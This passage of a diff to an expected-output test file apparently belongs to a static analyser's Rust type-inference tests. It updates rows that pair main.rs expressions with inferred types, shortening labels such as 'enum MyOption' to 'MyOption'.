... } | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:594:13:597:13 | match self { ... } | | main.rs:568:5:572:5 | MyOption | | main.rs:594:13:597:13 | match self { ... } | T | main.rs:592:10:592:10 | T | -| main.rs:594:19:594:22 | self | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:594:19:594:22 | self | T | main.rs:568:5:572:5 | enum MyOption | +| main.rs:594:19:594:22 | self | | main.rs:568:5:572:5 | MyOption | +| main.rs:594:19:594:22 | self | T | main.rs:568:5:572:5 | MyOption | | main.rs:594:19:594:22 | self | T.T | main.rs:592:10:592:10 | T | -| main.rs:595:39:595:56 | ...::MyNone(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:595:39:595:56 | ...::MyNone(...) | | main.rs:568:5:572:5 | MyOption | | main.rs:595:39:595:56 | ...::MyNone(...) | T | main.rs:592:10:592:10 | T | -| main.rs:596:34:596:34 | x | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:596:34:596:34 | x | | main.rs:568:5:572:5 | MyOption | | main.rs:596:34:596:34 | x | T | main.rs:592:10:592:10 | T | -| main.rs:596:40:596:40 | x | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:596:40:596:40 | x | | main.rs:568:5:572:5 | MyOption | | main.rs:596:40:596:40 | x | T | main.rs:592:10:592:10 | T | -| main.rs:605:13:605:14 | x1 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:605:18:605:37 | ...::new(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:606:26:606:27 | x1 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:608:13:608:18 | mut x2 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:608:13:608:18 | mut x2 | T | main.rs:601:5:602:13 | struct S | -| main.rs:608:22:608:36 | ...::new(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:608:22:608:36 | ...::new(...) | T | main.rs:601:5:602:13 | struct S | -| main.rs:609:9:609:10 | x2 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:609:9:609:10 | x2 | T | main.rs:601:5:602:13 | struct S | -| main.rs:609:16:609:16 | S | | main.rs:601:5:602:13 | struct S | -| main.rs:610:26:610:27 | x2 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:610:26:610:27 | x2 | T | main.rs:601:5:602:13 | struct S | -| main.rs:612:13:612:18 | mut x3 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:612:22:612:36 | ...::new(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:613:9:613:10 | x3 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:613:21:613:21 | S | | main.rs:601:5:602:13 | struct S | -| main.rs:614:26:614:27 | x3 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:616:13:616:18 | mut x4 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:616:13:616:18 | mut x4 | T | main.rs:601:5:602:13 | struct S | -| main.rs:616:22:616:36 | ...::new(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:616:22:616:36 | ...::new(...) | T | main.rs:601:5:602:13 | struct S | +| main.rs:605:13:605:14 | x1 | | main.rs:568:5:572:5 | MyOption | +| main.rs:605:18:605:37 | ...::new(...) | | main.rs:568:5:572:5 | MyOption | +| main.rs:606:26:606:27 | x1 | | main.rs:568:5:572:5 | MyOption | +| main.rs:608:13:608:18 | mut x2 | | main.rs:568:5:572:5 | MyOption | +| main.rs:608:13:608:18 | mut x2 | T | main.rs:601:5:602:13 | S | +| main.rs:608:22:608:36 | ...::new(...) | | main.rs:568:5:572:5 | MyOption | +| main.rs:608:22:608:36 | ...::new(...) | T | main.rs:601:5:602:13 | S | +| main.rs:609:9:609:10 | x2 | | main.rs:568:5:572:5 | MyOption | +| main.rs:609:9:609:10 | x2 | T | main.rs:601:5:602:13 | S | +| main.rs:609:16:609:16 | S | | main.rs:601:5:602:13 | S | +| main.rs:610:26:610:27 | x2 | | main.rs:568:5:572:5 | MyOption | +| main.rs:610:26:610:27 | x2 | T | main.rs:601:5:602:13 | S | +| main.rs:612:13:612:18 | mut x3 | | main.rs:568:5:572:5 | MyOption | +| main.rs:612:22:612:36 | ...::new(...) | | main.rs:568:5:572:5 | MyOption | +| main.rs:613:9:613:10 | x3 | | main.rs:568:5:572:5 | MyOption | +| main.rs:613:21:613:21 | S | | main.rs:601:5:602:13 | S | +| main.rs:614:26:614:27 | x3 | | main.rs:568:5:572:5 | MyOption | +| main.rs:616:13:616:18 | mut x4 | | main.rs:568:5:572:5 | MyOption | +| main.rs:616:13:616:18 | mut x4 | T | main.rs:601:5:602:13 | S | +| main.rs:616:22:616:36 | ...::new(...) | | main.rs:568:5:572:5 | MyOption | +| main.rs:616:22:616:36 | ...::new(...) | T | main.rs:601:5:602:13 | S | | main.rs:617:23:617:29 | &mut x4 | | file://:0:0:0:0 | & | -| main.rs:617:23:617:29 | &mut x4 | &T | main.rs:568:5:572:5 | enum MyOption | -| main.rs:617:23:617:29 | &mut x4 | &T.T | main.rs:601:5:602:13 | struct S | -| main.rs:617:28:617:29 | x4 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:617:28:617:29 | x4 | T | main.rs:601:5:602:13 | struct S | -| main.rs:617:32:617:32 | S | | main.rs:601:5:602:13 | struct S | -| main.rs:618:26:618:27 | x4 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:618:26:618:27 | x4 | T | main.rs:601:5:602:13 | struct S | -| main.rs:620:13:620:14 | x5 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:620:13:620:14 | x5 | T | main.rs:568:5:572:5 | enum MyOption | -| main.rs:620:13:620:14 | x5 | T.T | main.rs:601:5:602:13 | struct S | -| main.rs:620:18:620:58 | ...::MySome(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:620:18:620:58 | ...::MySome(...) | T | main.rs:568:5:572:5 | enum MyOption | -| main.rs:620:18:620:58 | ...::MySome(...) | T.T | main.rs:601:5:602:13 | struct S | -| main.rs:620:35:620:57 | ...::MyNone(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:620:35:620:57 | ...::MyNone(...) | T | main.rs:601:5:602:13 | struct S | -| main.rs:621:26:621:27 | x5 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:621:26:621:27 | x5 | T | main.rs:568:5:572:5 | enum MyOption | -| main.rs:621:26:621:27 | x5 | T.T | main.rs:601:5:602:13 | struct S | -| main.rs:623:13:623:14 | x6 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:623:13:623:14 | x6 | T | main.rs:568:5:572:5 | enum MyOption | -| main.rs:623:13:623:14 | x6 | T.T | main.rs:601:5:602:13 | struct S | -| main.rs:623:18:623:58 | ...::MySome(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:623:18:623:58 | ...::MySome(...) | T | main.rs:568:5:572:5 | enum MyOption | -| main.rs:623:18:623:58 | ...::MySome(...) | T.T | main.rs:601:5:602:13 | struct S | -| main.rs:623:35:623:57 | ...::MyNone(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:623:35:623:57 | ...::MyNone(...) | T | main.rs:601:5:602:13 | struct S | -| main.rs:624:26:624:61 | ...::flatten(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:624:26:624:61 | ...::flatten(...) | T | main.rs:601:5:602:13 | struct S | -| main.rs:624:59:624:60 | x6 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:624:59:624:60 | x6 | T | main.rs:568:5:572:5 | enum MyOption | -| main.rs:624:59:624:60 | x6 | T.T | main.rs:601:5:602:13 | struct S | -| main.rs:626:13:626:19 | from_if | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:626:13:626:19 | from_if | T | main.rs:601:5:602:13 | struct S | -| main.rs:626:23:630:9 | if ... {...} else {...} | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:626:23:630:9 | if ... {...} else {...} | T | main.rs:601:5:602:13 | struct S | -| main.rs:626:36:628:9 | { ... } | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:626:36:628:9 | { ... } | T | main.rs:601:5:602:13 | struct S | -| main.rs:627:13:627:30 | ...::MyNone(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:627:13:627:30 | ...::MyNone(...) | T | main.rs:601:5:602:13 | struct S | -| main.rs:628:16:630:9 | { ... } | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:628:16:630:9 | { ... } | T | main.rs:601:5:602:13 | struct S | -| main.rs:629:13:629:31 | ...::MySome(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:629:13:629:31 | ...::MySome(...) | T | main.rs:601:5:602:13 | struct S | -| main.rs:629:30:629:30 | S | | main.rs:601:5:602:13 | struct S | -| main.rs:631:26:631:32 | from_if | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:631:26:631:32 | from_if | T | main.rs:601:5:602:13 | struct S | -| main.rs:633:13:633:22 | from_match | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:633:13:633:22 | from_match | T | main.rs:601:5:602:13 | struct S | -| main.rs:633:26:636:9 | match ... { ... } | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:633:26:636:9 | match ... { ... } | T | main.rs:601:5:602:13 | struct S | -| main.rs:634:21:634:38 | ...::MyNone(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:634:21:634:38 | ...::MyNone(...) | T | main.rs:601:5:602:13 | struct S | -| main.rs:635:22:635:40 | ...::MySome(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:635:22:635:40 | ...::MySome(...) | T | main.rs:601:5:602:13 | struct S | -| main.rs:635:39:635:39 | S | | main.rs:601:5:602:13 | struct S | -| main.rs:637:26:637:35 | from_match | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:637:26:637:35 | from_match | T | main.rs:601:5:602:13 | struct S | -| main.rs:639:13:639:21 | from_loop | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:639:13:639:21 | from_loop | T | main.rs:601:5:602:13 | struct S | -| main.rs:639:25:644:9 | loop { ... } | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:639:25:644:9 | loop { ... } | T | main.rs:601:5:602:13 | struct S | -| main.rs:641:23:641:40 | ...::MyNone(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:641:23:641:40 | ...::MyNone(...) | T | main.rs:601:5:602:13 | struct S | -| main.rs:643:19:643:37 | ...::MySome(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:643:19:643:37 | ...::MySome(...) | T | main.rs:601:5:602:13 | struct S | -| main.rs:643:36:643:36 | S | | main.rs:601:5:602:13 | struct S | -| main.rs:645:26:645:34 | from_loop | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:645:26:645:34 | from_loop | T | main.rs:601:5:602:13 | struct S | -| main.rs:658:15:658:18 | SelfParam | | main.rs:651:5:652:19 | struct S | +| main.rs:617:23:617:29 | &mut x4 | &T | main.rs:568:5:572:5 | MyOption | +| main.rs:617:23:617:29 | &mut x4 | &T.T | main.rs:601:5:602:13 | S | +| main.rs:617:28:617:29 | x4 | | main.rs:568:5:572:5 | MyOption | +| main.rs:617:28:617:29 | x4 | T | main.rs:601:5:602:13 | S | +| main.rs:617:32:617:32 | S | | main.rs:601:5:602:13 | S | +| main.rs:618:26:618:27 | x4 | | main.rs:568:5:572:5 | MyOption | +| main.rs:618:26:618:27 | x4 | T | main.rs:601:5:602:13 | S | +| main.rs:620:13:620:14 | x5 | | main.rs:568:5:572:5 | MyOption | +| main.rs:620:13:620:14 | x5 | T | main.rs:568:5:572:5 | MyOption | +| main.rs:620:13:620:14 | x5 | T.T | main.rs:601:5:602:13 | S | +| main.rs:620:18:620:58 | ...::MySome(...) | | main.rs:568:5:572:5 | MyOption | +| main.rs:620:18:620:58 | ...::MySome(...) | T | main.rs:568:5:572:5 | MyOption | +| main.rs:620:18:620:58 | ...::MySome(...) | T.T | main.rs:601:5:602:13 | S | +| main.rs:620:35:620:57 | ...::MyNone(...) | | main.rs:568:5:572:5 | MyOption | +| main.rs:620:35:620:57 | ...::MyNone(...) | T | main.rs:601:5:602:13 | S | +| main.rs:621:26:621:27 | x5 | | main.rs:568:5:572:5 | MyOption | +| main.rs:621:26:621:27 | x5 | T | main.rs:568:5:572:5 | MyOption | +| main.rs:621:26:621:27 | x5 | T.T | main.rs:601:5:602:13 | S | +| main.rs:623:13:623:14 | x6 | | main.rs:568:5:572:5 | MyOption | +| main.rs:623:13:623:14 | x6 | T | main.rs:568:5:572:5 | MyOption | +| main.rs:623:13:623:14 | x6 | T.T | main.rs:601:5:602:13 | S | +| main.rs:623:18:623:58 | ...::MySome(...) | | main.rs:568:5:572:5 | MyOption | +| main.rs:623:18:623:58 | ...::MySome(...) | T | main.rs:568:5:572:5 | MyOption | +| main.rs:623:18:623:58 | ...::MySome(...) | T.T | main.rs:601:5:602:13 | S | +| main.rs:623:35:623:57 | ...::MyNone(...) | | main.rs:568:5:572:5 | MyOption | +| main.rs:623:35:623:57 | ...::MyNone(...) | T | main.rs:601:5:602:13 | S | +| main.rs:624:26:624:61 | ...::flatten(...) | | main.rs:568:5:572:5 | MyOption | +| main.rs:624:26:624:61 | ...::flatten(...) | T | main.rs:601:5:602:13 | S | +| main.rs:624:59:624:60 | x6 | | main.rs:568:5:572:5 | MyOption | +| main.rs:624:59:624:60 | x6 | T | main.rs:568:5:572:5 | MyOption | +| main.rs:624:59:624:60 | x6 | T.T | main.rs:601:5:602:13 | S | +| main.rs:626:13:626:19 | from_if | | main.rs:568:5:572:5 | MyOption | +| main.rs:626:13:626:19 | from_if | T | main.rs:601:5:602:13 | S | +| main.rs:626:23:630:9 | if ... {...} else {...} | | main.rs:568:5:572:5 | MyOption | +| main.rs:626:23:630:9 | if ... {...} else {...} | T | main.rs:601:5:602:13 | S | +| main.rs:626:36:628:9 | { ... } | | main.rs:568:5:572:5 | MyOption | +| main.rs:626:36:628:9 | { ... } | T | main.rs:601:5:602:13 | S | +| main.rs:627:13:627:30 | ...::MyNone(...) | | main.rs:568:5:572:5 | MyOption | +| main.rs:627:13:627:30 | ...::MyNone(...) | T | main.rs:601:5:602:13 | S | +| main.rs:628:16:630:9 | { ... } | | main.rs:568:5:572:5 | MyOption | +| main.rs:628:16:630:9 | { ... } | T | main.rs:601:5:602:13 | S | +| main.rs:629:13:629:31 | ...::MySome(...) | | main.rs:568:5:572:5 | MyOption | +| main.rs:629:13:629:31 | ...::MySome(...) | T | main.rs:601:5:602:13 | S | +| main.rs:629:30:629:30 | S | | main.rs:601:5:602:13 | S | +| main.rs:631:26:631:32 | from_if | | main.rs:568:5:572:5 | MyOption | +| main.rs:631:26:631:32 | from_if | T | main.rs:601:5:602:13 | S | +| main.rs:633:13:633:22 | from_match | | main.rs:568:5:572:5 | MyOption | +| main.rs:633:13:633:22 | from_match | T | main.rs:601:5:602:13 | S | +| main.rs:633:26:636:9 | match ... { ... } | | main.rs:568:5:572:5 | MyOption | +| main.rs:633:26:636:9 | match ... { ... } | T | main.rs:601:5:602:13 | S | +| main.rs:634:21:634:38 | ...::MyNone(...) | | main.rs:568:5:572:5 | MyOption | +| main.rs:634:21:634:38 | ...::MyNone(...) | T | main.rs:601:5:602:13 | S | +| main.rs:635:22:635:40 | ...::MySome(...) | | main.rs:568:5:572:5 | MyOption | +| main.rs:635:22:635:40 | ...::MySome(...) | T | main.rs:601:5:602:13 | S | +| main.rs:635:39:635:39 | S | | main.rs:601:5:602:13 | S | +| main.rs:637:26:637:35 | from_match | | main.rs:568:5:572:5 | MyOption | +| main.rs:637:26:637:35 | from_match | T | main.rs:601:5:602:13 | S | +| main.rs:639:13:639:21 | from_loop | | main.rs:568:5:572:5 | MyOption | +| main.rs:639:13:639:21 | from_loop | T | main.rs:601:5:602:13 | S | +| main.rs:639:25:644:9 | loop { ... } | | main.rs:568:5:572:5 | MyOption | +| main.rs:639:25:644:9 | loop { ... } | T | main.rs:601:5:602:13 | S | +| main.rs:641:23:641:40 | ...::MyNone(...) | | main.rs:568:5:572:5 | MyOption | +| main.rs:641:23:641:40 | ...::MyNone(...) | T | main.rs:601:5:602:13 | S | +| main.rs:643:19:643:37 | ...::MySome(...) | | main.rs:568:5:572:5 | MyOption | +| main.rs:643:19:643:37 | ...::MySome(...) | T | main.rs:601:5:602:13 | S | +| main.rs:643:36:643:36 | S | | main.rs:601:5:602:13 | S | +| main.rs:645:26:645:34 | from_loop | | main.rs:568:5:572:5 | MyOption | +| main.rs:645:26:645:34 | from_loop | T | main.rs:601:5:602:13 | S | +| main.rs:658:15:658:18 | SelfParam | | main.rs:651:5:652:19 | S | | main.rs:658:15:658:18 | SelfParam | T | main.rs:657:10:657:10 | T | | main.rs:658:26:660:9 | { ... } | | main.rs:657:10:657:10 | T | -| main.rs:659:13:659:16 | self | | main.rs:651:5:652:19 | struct S | +| main.rs:659:13:659:16 | self | | main.rs:651:5:652:19 | S | | main.rs:659:13:659:16 | self | T | main.rs:657:10:657:10 | T | | main.rs:659:13:659:18 | self.0 | | main.rs:657:10:657:10 | T | | main.rs:662:15:662:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:662:15:662:19 | SelfParam | &T | main.rs:651:5:652:19 | struct S | +| main.rs:662:15:662:19 | SelfParam | &T | main.rs:651:5:652:19 | S | | main.rs:662:15:662:19 | SelfParam | &T.T | main.rs:657:10:657:10 | T | | main.rs:662:28:664:9 | { ... } | | file://:0:0:0:0 | & | | main.rs:662:28:664:9 | { ... } | &T | main.rs:657:10:657:10 | T | | main.rs:663:13:663:19 | &... | | file://:0:0:0:0 | & | | main.rs:663:13:663:19 | &... | &T | main.rs:657:10:657:10 | T | | main.rs:663:14:663:17 | self | | file://:0:0:0:0 | & | -| main.rs:663:14:663:17 | self | &T | main.rs:651:5:652:19 | struct S | +| main.rs:663:14:663:17 | self | &T | main.rs:651:5:652:19 | S | | main.rs:663:14:663:17 | self | &T.T | main.rs:657:10:657:10 | T | | main.rs:663:14:663:19 | self.0 | | main.rs:657:10:657:10 | T | | main.rs:666:15:666:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:666:15:666:25 | SelfParam | &T | main.rs:651:5:652:19 | struct S | +| main.rs:666:15:666:25 | SelfParam | &T | main.rs:651:5:652:19 | S | | main.rs:666:15:666:25 | SelfParam | &T.T | main.rs:657:10:657:10 | T | | main.rs:666:34:668:9 | { ... } | | file://:0:0:0:0 | & | | main.rs:666:34:668:9 | { ... } | &T | main.rs:657:10:657:10 | T | | main.rs:667:13:667:19 | &... | | file://:0:0:0:0 | & | | main.rs:667:13:667:19 | &... | &T | main.rs:657:10:657:10 | T | | main.rs:667:14:667:17 | self | | file://:0:0:0:0 | & | -| main.rs:667:14:667:17 | self | &T | main.rs:651:5:652:19 | struct S | +| main.rs:667:14:667:17 | self | &T | main.rs:651:5:652:19 | S | | main.rs:667:14:667:17 | self | &T.T | main.rs:657:10:657:10 | T | | main.rs:667:14:667:19 | self.0 | | main.rs:657:10:657:10 | T | -| main.rs:672:13:672:14 | x1 | | main.rs:651:5:652:19 | struct S | -| main.rs:672:13:672:14 | x1 | T | main.rs:654:5:655:14 | struct S2 | -| main.rs:672:18:672:22 | S(...) | | main.rs:651:5:652:19 | struct S | -| main.rs:672:18:672:22 | S(...) | T | main.rs:654:5:655:14 | struct S2 | -| main.rs:672:20:672:21 | S2 | | main.rs:654:5:655:14 | struct S2 | -| main.rs:673:26:673:27 | x1 | | main.rs:651:5:652:19 | struct S | -| main.rs:673:26:673:27 | x1 | T | main.rs:654:5:655:14 | struct S2 | -| main.rs:673:26:673:32 | x1.m1(...) | | main.rs:654:5:655:14 | struct S2 | -| main.rs:675:13:675:14 | x2 | | main.rs:651:5:652:19 | struct S | -| main.rs:675:13:675:14 | x2 | T | main.rs:654:5:655:14 | struct S2 | -| main.rs:675:18:675:22 | S(...) | | main.rs:651:5:652:19 | struct S | -| main.rs:675:18:675:22 | S(...) | T | main.rs:654:5:655:14 | struct S2 | -| main.rs:675:20:675:21 | S2 | | main.rs:654:5:655:14 | struct S2 | -| main.rs:677:26:677:27 | x2 | | main.rs:651:5:652:19 | struct S | -| main.rs:677:26:677:27 | x2 | T | main.rs:654:5:655:14 | struct S2 | -| main.rs:677:26:677:32 | x2.m2(...) | | file://:0:0:0:0 | & | -| main.rs:677:26:677:32 | x2.m2(...) | &T | main.rs:654:5:655:14 | struct S2 | -| main.rs:678:26:678:27 | x2 | | main.rs:651:5:652:19 | struct S | -| main.rs:678:26:678:27 | x2 | T | main.rs:654:5:655:14 | struct S2 | -| main.rs:678:26:678:32 | x2.m3(...) | | file://:0:0:0:0 | & | -| main.rs:678:26:678:32 | x2.m3(...) | &T | main.rs:654:5:655:14 | struct S2 | -| main.rs:680:13:680:14 | x3 | | main.rs:651:5:652:19 | struct S | -| main.rs:680:13:680:14 | x3 | T | main.rs:654:5:655:14 | struct S2 | -| main.rs:680:18:680:22 | S(...) | | main.rs:651:5:652:19 | struct S | -| main.rs:680:18:680:22 | S(...) | T | main.rs:654:5:655:14 | struct S2 | -| main.rs:680:20:680:21 | S2 | | main.rs:654:5:655:14 | struct S2 | +| main.rs:672:13:672:14 | x1 | | main.rs:651:5:652:19 | S | +| main.rs:672:13:672:14 | x1 | T | main.rs:654:5:655:14 | S2 | +| main.rs:672:18:672:22 | S(...) | | main.rs:651:5:652:19 | S | +| main.rs:672:18:672:22 | S(...) | T | main.rs:654:5:655:14 | S2 | +| main.rs:672:20:672:21 | S2 | | main.rs:654:5:655:14 | S2 | +| main.rs:673:26:673:27 | x1 | | main.rs:651:5:652:19 | S | +| main.rs:673:26:673:27 | x1 | T | main.rs:654:5:655:14 | S2 | +| main.rs:673:26:673:32 | x1.m1() | | main.rs:654:5:655:14 | S2 | +| main.rs:675:13:675:14 | x2 | | main.rs:651:5:652:19 | S | +| main.rs:675:13:675:14 | x2 | T | main.rs:654:5:655:14 | S2 | +| main.rs:675:18:675:22 | S(...) | | main.rs:651:5:652:19 | S | +| main.rs:675:18:675:22 | S(...) | T | main.rs:654:5:655:14 | S2 | +| main.rs:675:20:675:21 | S2 | | main.rs:654:5:655:14 | S2 | +| main.rs:677:26:677:27 | x2 | | main.rs:651:5:652:19 | S | +| main.rs:677:26:677:27 | x2 | T | main.rs:654:5:655:14 | S2 | +| main.rs:677:26:677:32 | x2.m2() | | file://:0:0:0:0 | & | +| main.rs:677:26:677:32 | x2.m2() | &T | main.rs:654:5:655:14 | S2 | +| main.rs:678:26:678:27 | x2 | | main.rs:651:5:652:19 | S | +| main.rs:678:26:678:27 | x2 | T | main.rs:654:5:655:14 | S2 | +| main.rs:678:26:678:32 | x2.m3() | | file://:0:0:0:0 | & | +| main.rs:678:26:678:32 | x2.m3() | &T | main.rs:654:5:655:14 | S2 | +| main.rs:680:13:680:14 | x3 | | main.rs:651:5:652:19 | S | +| main.rs:680:13:680:14 | x3 | T | main.rs:654:5:655:14 | S2 | +| main.rs:680:18:680:22 | S(...) | | main.rs:651:5:652:19 | S | +| main.rs:680:18:680:22 | S(...) | T | main.rs:654:5:655:14 | S2 | +| main.rs:680:20:680:21 | S2 | | main.rs:654:5:655:14 | S2 | | main.rs:682:26:682:41 | ...::m2(...) | | file://:0:0:0:0 | & | -| main.rs:682:26:682:41 | ...::m2(...) | &T | main.rs:654:5:655:14 | struct S2 | +| main.rs:682:26:682:41 | ...::m2(...) | &T | main.rs:654:5:655:14 | S2 | | main.rs:682:38:682:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:682:38:682:40 | &x3 | &T | main.rs:651:5:652:19 | struct S | -| main.rs:682:38:682:40 | &x3 | &T.T | main.rs:654:5:655:14 | struct S2 | -| main.rs:682:39:682:40 | x3 | | main.rs:651:5:652:19 | struct S | -| main.rs:682:39:682:40 | x3 | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:682:38:682:40 | &x3 | &T | main.rs:651:5:652:19 | S | +| main.rs:682:38:682:40 | &x3 | &T.T | main.rs:654:5:655:14 | S2 | +| main.rs:682:39:682:40 | x3 | | main.rs:651:5:652:19 | S | +| main.rs:682:39:682:40 | x3 | T | main.rs:654:5:655:14 | S2 | | main.rs:683:26:683:41 | ...::m3(...) | | file://:0:0:0:0 | & | -| main.rs:683:26:683:41 | ...::m3(...) | &T | main.rs:654:5:655:14 | struct S2 | +| main.rs:683:26:683:41 | ...::m3(...) | &T | main.rs:654:5:655:14 | S2 | | main.rs:683:38:683:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:683:38:683:40 | &x3 | &T | main.rs:651:5:652:19 | struct S | -| main.rs:683:38:683:40 | &x3 | &T.T | main.rs:654:5:655:14 | struct S2 | -| main.rs:683:39:683:40 | x3 | | main.rs:651:5:652:19 | struct S | -| main.rs:683:39:683:40 | x3 | T | main.rs:654:5:655:14 | struct S2 | +| main.rs:683:38:683:40 | &x3 | &T | main.rs:651:5:652:19 | S | +| main.rs:683:38:683:40 | &x3 | &T.T | main.rs:654:5:655:14 | S2 | +| main.rs:683:39:683:40 | x3 | | main.rs:651:5:652:19 | S | +| main.rs:683:39:683:40 | x3 | T | main.rs:654:5:655:14 | S2 | | main.rs:685:13:685:14 | x4 | | file://:0:0:0:0 | & | -| main.rs:685:13:685:14 | x4 | &T | main.rs:651:5:652:19 | struct S | -| main.rs:685:13:685:14 | x4 | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:685:13:685:14 | x4 | &T | main.rs:651:5:652:19 | S | +| main.rs:685:13:685:14 | x4 | &T.T | main.rs:654:5:655:14 | S2 | | main.rs:685:18:685:23 | &... | | file://:0:0:0:0 | & | -| main.rs:685:18:685:23 | &... | &T | main.rs:651:5:652:19 | struct S | -| main.rs:685:18:685:23 | &... | &T.T | main.rs:654:5:655:14 | struct S2 | -| main.rs:685:19:685:23 | S(...) | | main.rs:651:5:652:19 | struct S | -| main.rs:685:19:685:23 | S(...) | T | main.rs:654:5:655:14 | struct S2 | -| main.rs:685:21:685:22 | S2 | | main.rs:654:5:655:14 | struct S2 | +| main.rs:685:18:685:23 | &... | &T | main.rs:651:5:652:19 | S | +| main.rs:685:18:685:23 | &... | &T.T | main.rs:654:5:655:14 | S2 | +| main.rs:685:19:685:23 | S(...) | | main.rs:651:5:652:19 | S | +| main.rs:685:19:685:23 | S(...) | T | main.rs:654:5:655:14 | S2 | +| main.rs:685:21:685:22 | S2 | | main.rs:654:5:655:14 | S2 | | main.rs:687:26:687:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:687:26:687:27 | x4 | &T | main.rs:651:5:652:19 | struct S | -| main.rs:687:26:687:27 | x4 | &T.T | main.rs:654:5:655:14 | struct S2 | -| main.rs:687:26:687:32 | x4.m2(...) | | file://:0:0:0:0 | & | -| main.rs:687:26:687:32 | x4.m2(...) | &T | main.rs:654:5:655:14 | struct S2 | +| main.rs:687:26:687:27 | x4 | &T | main.rs:651:5:652:19 | S | +| main.rs:687:26:687:27 | x4 | &T.T | main.rs:654:5:655:14 | S2 | +| main.rs:687:26:687:32 | x4.m2() | | file://:0:0:0:0 | & | +| main.rs:687:26:687:32 | x4.m2() | &T | main.rs:654:5:655:14 | S2 | | main.rs:688:26:688:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:688:26:688:27 | x4 | &T | main.rs:651:5:652:19 | struct S | -| main.rs:688:26:688:27 | x4 | &T.T | main.rs:654:5:655:14 | struct S2 | -| main.rs:688:26:688:32 | x4.m3(...) | | file://:0:0:0:0 | & | -| main.rs:688:26:688:32 | x4.m3(...) | &T | main.rs:654:5:655:14 | struct S2 | +| main.rs:688:26:688:27 | x4 | &T | main.rs:651:5:652:19 | S | +| main.rs:688:26:688:27 | x4 | &T.T | main.rs:654:5:655:14 | S2 | +| main.rs:688:26:688:32 | x4.m3() | | file://:0:0:0:0 | & | +| main.rs:688:26:688:32 | x4.m3() | &T | main.rs:654:5:655:14 | S2 | | main.rs:690:13:690:14 | x5 | | file://:0:0:0:0 | & | -| main.rs:690:13:690:14 | x5 | &T | main.rs:651:5:652:19 | struct S | -| main.rs:690:13:690:14 | x5 | &T.T | main.rs:654:5:655:14 | struct S2 | +| main.rs:690:13:690:14 | x5 | &T | main.rs:651:5:652:19 | S | +| main.rs:690:13:690:14 | x5 | &T.T | main.rs:654:5:655:14 | S2 | | main.rs:690:18:690:23 | &... | | file://:0:0:0:0 | & | -| main.rs:690:18:690:23 | &... | &T | main.rs:651:5:652:19 | struct S | -| main.rs:690:18:690:23 | &... | &T.T | main.rs:654:5:655:14 | struct S2 | -| main.rs:690:19:690:23 | S(...) | | main.rs:651:5:652:19 | struct S | -| main.rs:690:19:690:23 | S(...) | T | main.rs:654:5:655:14 | struct S2 | -| main.rs:690:21:690:22 | S2 | | main.rs:654:5:655:14 | struct S2 | +| main.rs:690:18:690:23 | &... | &T | main.rs:651:5:652:19 | S | +| main.rs:690:18:690:23 | &... | &T.T | main.rs:654:5:655:14 | S2 | +| main.rs:690:19:690:23 | S(...) | | main.rs:651:5:652:19 | S | +| main.rs:690:19:690:23 | S(...) | T | main.rs:654:5:655:14 | S2 | +| main.rs:690:21:690:22 | S2 | | main.rs:654:5:655:14 | S2 | | main.rs:692:26:692:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:692:26:692:27 | x5 | &T | main.rs:651:5:652:19 | struct S | -| main.rs:692:26:692:27 | x5 | &T.T | main.rs:654:5:655:14 | struct S2 | -| main.rs:692:26:692:32 | x5.m1(...) | | main.rs:654:5:655:14 | struct S2 | +| main.rs:692:26:692:27 | x5 | &T | main.rs:651:5:652:19 | S | +| main.rs:692:26:692:27 | x5 | &T.T | main.rs:654:5:655:14 | S2 | +| main.rs:692:26:692:32 | x5.m1() | | main.rs:654:5:655:14 | 